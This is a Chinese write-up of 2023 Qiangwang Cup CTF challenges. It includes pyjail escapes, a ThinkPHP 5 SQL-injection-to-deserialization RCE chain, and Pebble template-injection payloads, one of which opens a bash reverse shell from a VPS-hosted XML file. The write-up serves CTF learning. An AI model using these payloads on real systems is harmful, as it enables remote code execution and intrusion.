2023第七届强网杯

2023强网杯

考完期末了有空更一下wp

MISC

Pyjail ! It's myFILTER !!!

环境搭建

1
2
3
4
5
6
docker pull ubuntu:20.04
docker run -it -v /mnt/c/Users/ddd/Desktop/2023qwb/misc/myFILTER:/pyjail ubuntu:20.04
root@61c25569e99f:/# cd pyjail/
root@61c25569e99f:/pyjail# apt update
root@61c25569e99f:/pyjail# apt install python3
root@61c25569e99f:/pyjail# export FLAG="flag{testflag}"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interacet = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Pleas.e obey the filter rules which I set!")

两层f,payload前面加个{}

open没有过滤,环境变量的flag没删除

{print(open("/proc/self/environ").read())}

img

Pyjail ! It's myRevenge !!!

跟前面差不多,删除了环境变量,删掉了pty库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import code, os, subprocess

def blacklist_fun_callback(*args):
print("Player! It's already banned!")

os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words_var_name_fake_in_local_real_in_remote = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words_var_name_fake_in_local_real_in_remote:
if x in input_code:
print(x)
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(
input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
print(input_code)
else:
print("Player! Please obey the filter rules which I set!")

有很多个思路,这里给出几个

  1. 写读文件的命令到1,执行1写入2,读取2(这种好像不行)
  2. 清除blacklist/覆盖filter函数,然后继续input
  3. 写入code/os/subprocess模块为恶意文件,题目import code后直接调用读flag
1
2
3
4
5
6
7
8
{open("1", "a").write("im")}
{open("1", "a+").write("port")}
{open("1", "a+").write(" o")}
{open("1", "a+").write("s;o")}
{open("1", "a+").write("s.syste")}
{open("1", "a+").write("m("+chr(34)+"cat f* > 2"+chr(34)+")")}
{open("co"+"de.py","w").write(open("1").read())}
{print(open("2", "r").read())}
img

easyfuzz

不懂给了个附件有什么用,纯脑洞题

爆破9位

前两位可以为任意数,返回110000000

然后后面像glob协议一样逐位爆破数字+大小写字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import string
import itertools

ip = "101.200.122.251"
port = 12177
context(log_level="debug")
io = remote(ip, port)

charset = string.digits + string.ascii_letters

def send_payload(payload):
io.recvuntil("Enter a string (should be less than 10 bytes): ")
io.sendline(payload)
return io.recvline()[-10:-1]

def brute_force():
password = ['0'] * 9

for i in range(9):
for char in charset:
# Try the character in the current position
password[i] = char
payload = "".join(password)

# Send the payload and get the response
response = send_payload(payload)

# Check if the guessed character is correct (1 in the response)
if response[i] == 49:
break

return "".join(password)

result = brute_force()
print(f"Found password: {result}")
io.interactive()

谍影重重2.0

xxxxxxxxxx x = ''with open('qd.txt','r') as f:    aa = f.readlines()    for i in aa:        x += chr(len(i)-1)print(x)#flag{ISEC-eF8x2Bv1viw9eFvagivx0Ynv3jlai0vL}Python

格式为flag{md5(ICAO CODE of the fastest plane)}

附件内所涉及的信息均为公开信息,题目描述也均为虚构,切勿当真

ADS-B

tshark -r attach.pcapng -T fields -e "tcp.payload" > payload.txt

https://github.com/junzis/pyModeS

1
2
3
4
5
6
7
8
import pyModeS as pms

with open('payload.txt') as f:
res = f.read().split()

for i in res:
if len(i) == 46:
pms.tell(i[18:])
img
img

flag为md5('79a05e')

更多可以参考https://www.cnblogs.com/lynnzixing/p/17912999.html

谍影重重3.0

小明被我国抓获之后对所作所为供认不讳,在对他个人电脑监控的过程中,发现存在通过特殊隧道获取境外组织下发的任务文件,请你协助分析出他所获取到的任务文件名称。

flag提交格式为flag{md5(文件名)}

附件内所涉及的信息均为公开信息,题目描述也均为虚构内容,如有雷同,切勿当真!

纸飞机、境外 -> shadowsocks

参考: https://phuker.github.io/posts/shadowsocks-active-probing.html https://github.com/shadowsocks/shadowsocks/blob/master/shadowsocks/cryptor.py

需要爆破密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import hashlib
from Crypto.Cipher import AES

def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
if hasattr(password, 'encode'):
password = password.encode('utf-8')
# cached_key = '%s-%d-%d' % (password, key_len, iv_len)
# r = cached_keys.get(cached_key, None)
# if r:
# return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
# cached_keys[cached_key] = (key, iv)
return key, iv

def decrypt(cipher,password):
key_len = int(256/8)
iv_len = 16
key, _ = EVP_BytesToKey(password, key_len, iv_len)
cipher = bytes.fromhex(cipher)
iv = cipher[:iv_len]
real_cipher = cipher[iv_len:]
obj = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
plain = obj.decrypt(real_cipher)
return plain

#tcp原始hex数据
req_cipher = ''
res_cipher = ''

with open('password.txt','r') as f:
passwords = f.readlines()
for password in passwords:
password.strip('\n')
req_plain = decrypt(req_cipher,password)
res_plain = decrypt(res_cipher,password)
if b'HTTP' in req_plain:
print(f"password:{password}",f"\nreq_plain:{req_plain}",f"\nres_plain:{res_plain}")
img

flag为md5('Why-do-you-want-to-know-what-this-is')

WEB

happygame

nc返回一些字节,然后可以输入,返回

HTTP/2 client preface string missing or corrupt. Hex dump for received bytes`` xxx

搜索一下发现是grpc服务

img

grpcui本地启动,ProcessMsg方法有参数serializeData

java反序列化cc链,目前见过可以的有cc1、6、7

thinkshop

按照题目本地起一个docker

1
2
docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop

thinkphp5.0.23,目录结构如下

img

Admin.php有登录功能

根目录下有shop.sql

1
2
3
4
-- ----------------------------
-- Records of admin
-- ----------------------------
INSERT INTO `admin` VALUES (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
img

正常应该是admin;123456登录,但是传入的username直接放到了find方法的参数中

thinkphp5.x在find有参数的情况下,默认会去找数据表中的主键列,所以这里使用1;123456登录后台

定位到application/index/view/admin/goods_edit.html

将data数据反序列化,可以打tp5的反序列化链rce

img

Admin.php的do_edit方法,将data传入saveGood处理

img

跟进,传到updatedata

img

Update.php,从数据库里读数据,value限制得很死,但是这里注意到key是没有过滤的,可以sql注入

img

理清一下思路,key注入将序列化的数据传入数据库,读取再反序列化造成rce

1
id=3&name=ls&price=5.00&on_sale_time=2023-12-15T12%3A45&image=a&data`%3d%27  {payload}  %27%09where%09`id`%3d1%23a=1&data=aaa

网上找的tp5.1链子,这里注意加上array(序列化有markdownToArray函数,getGoodsbyId函数检测YTo前缀)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
namespace think\process\pipes{
use think\model\Pivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$aaa = new Windows('system','ls');
echo base64_encode(serialize(array($aaa)));
}
namespace think{
abstract class Model
{}
}
namespace think\model{
use think\Model;
use think\console\Output;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace think\model\relation{
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace think\db{
use think\console\Output;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace think\console{
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace think\session\driver{
use think\cache\driver\Memcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace think\cache\driver{
use think\Request;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}
img
img

强网先锋

找到PNG了吗

vol打不开,010打开文件头为EMiL,linux镜像,banner看对应操作系统

img

根据Ubuntu版本制作对应的profile

1
2
3
4
5
root@ubuntu:/home/ddd/Desktop/volatility-master# python vol.py -f ../1.mem --profile=LinuxUbuntux64 linux_banner
Volatility Foundation Volatility Framework 2.6.1
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
Linux version 5.4.0-100-generic (buildd@lcy02-amd64-002) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 (Ubuntu 5.4.0-100.113-generic 5.4.166)

lsof找到桌面上的文件have_your_fun.jocker

1
2
3
4
5
6
root@ubuntu:/home/ddd/Desktop/volatility-master# python vol.py -f ../1.mem --profile=LinuxUbuntux64 linux_lsof | grep "Desktop"
Volatility Foundation Volatility Framework 2.6.1
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
0xffff9ce2af3cc680 bash 2158 4 /home/yuren/Desktop/have_your_fun.jocker
0xffff9ce2bac09780 insmod 2170 3 /home/yuren/Desktop/LiME/src/lime-5.4.0-100-generic.ko

尝试导出,结果为空

在010中找have_your_fun.jocker,找到加密脚本

加密文件,两次rc4,两个密钥都给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

#define SERVER_IP "192.168.6.1"
#define SERVER_PORT 110
unsigned char buff[20000];
void swap(char* a, char* b) {
char temp = *a;
*a = *b;
*b = temp;
}
void rc4_encrypt_decrypt(unsigned char* key, unsigned char* data, int data_length) {
int i, j = 0, t;
int s[256];
int key_length = strlen((const char*)key);

for (i = 0; i < 256; i++) {
s[i] = i;
}

for (i = 0; i < 256; i++) {
j = (j + s[i] + key[i % key_length]) % 256;
t = s[i];
s[i] = s[j];
s[j] = t;
}

i = j = 0;
for (int k = 0; k < data_length; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
t = s[i];
s[i] = s[j];
s[j] = t;
data[k] ^= s[(s[i] + s[j]) % 256];
}
}
int main()
{
int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
if (clientSocket == -1) {
printf("socket failed!\n");
return 1;
}
struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
int result = recv(clientSocket, buff, sizeof(buff), 0);
int a=0;
char q[10];
unsigned char key[]="do_not_care";
unsigned char key2[] = "where_is_the_key";
FILE* file = fopen("have_your_fun.jocker", "wb");
if (file == NULL) {
printf("open file failed!\n");
return 1;
}
unsigned char *str;
str = (char *) malloc(20000);
memcpy(str, buff, 20000);
rc4_encrypt_decrypt(key2, str, 20000);
printf("please give me the key of fun:");
scanf("%s",q);
rc4_encrypt_decrypt(key, str, 20000);

fwrite(buff, 1, 20000, file);
printf("maybe you go wrong");
fclose(file);
close(clientSocket);
return 0;
}

题目要png,用png头加密两次rc4,得到

1
89504E47:e5afbeba

根据文件头尾找到加密的png

img

再两次rc4得到png

img

得到flag

img

hello spring

题目给的jar包和远程不一样

然后根据配置文件和源码return "home";写一个home.pebble放在/tmp目录下,作为模板文件

img
img

本地搭好环境之后是这样的

img

pom.xml看到pebble组件版本为3.1.5

img

可以搜索到https://github.com/Y4tacker/Web-Security/issues/3?cve=title

vps上写1.xml,弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE4NC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>

poc

1
2
3
4
5
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://vps:port/1.xml") }}
{{ yyy.refresh() }}

这里注意时间

img
img

本地是加了8小时(实际上好像不用加)

img

然后访问?x=file_20231227_230625弹shell

远程还有一个filter但是jar包里没给

img

实际黑名单过滤了

1
org.springframework.context.support.ClassPathXmlApplicationContext

可以字符串拼接绕过

1
org.springframework.context."+"support.ClassPathXmlApplicationContext

或者用第二种方法

https://blog.arkark.dev/2022/08/01/uiuctf/

先传一个evil.pebble

需要修改一下Prefix和Suffix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{% set accessValidatorClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("com.mitchellbosecke.pebble.attributes.methodaccess.NoOpMethodAccessValidator") %}
{% set accessValidator = beans.get("jacksonObjectMapper").readValue("{}", accessValidatorClass) %}

{% set builderClass = beans.get("jacksonObjectMapper").getTypeFactory().findClass("com.mitchellbosecke.pebble.PebbleEngine$Builder") %}
{% set builder = beans.get("jacksonObjectMapper").readValue("{}", builderClass) %}

{% set engine = builder.methodAccessValidator(accessValidator).build() %}
{% set loader = engine.getLoader() %}
{{ loader.setPrefix("/tmp") }}
{{ loader.setSuffix("pebble") }}

{% set rceFileName = request.getParameter("rceFileName") %}

{% set template = engine.getTemplate(rceFileName) %}

{{ template.evaluate(response.getWriter()) }}

然后再传一个模板

1
2
{% set cmd = 'xxx'.split(";") %}
{{ (1).TYPE.forName("java.lang.Runtime").methods[0].invoke(null, null).exec(cmd) }}

然后加载模板

1
?x=xx&rceFileName=xx

2023第七届强网杯
http://example.com/2024/01/10/2023第七届强网杯/
作者
dddkia
发布于
2024年1月10日
许可协议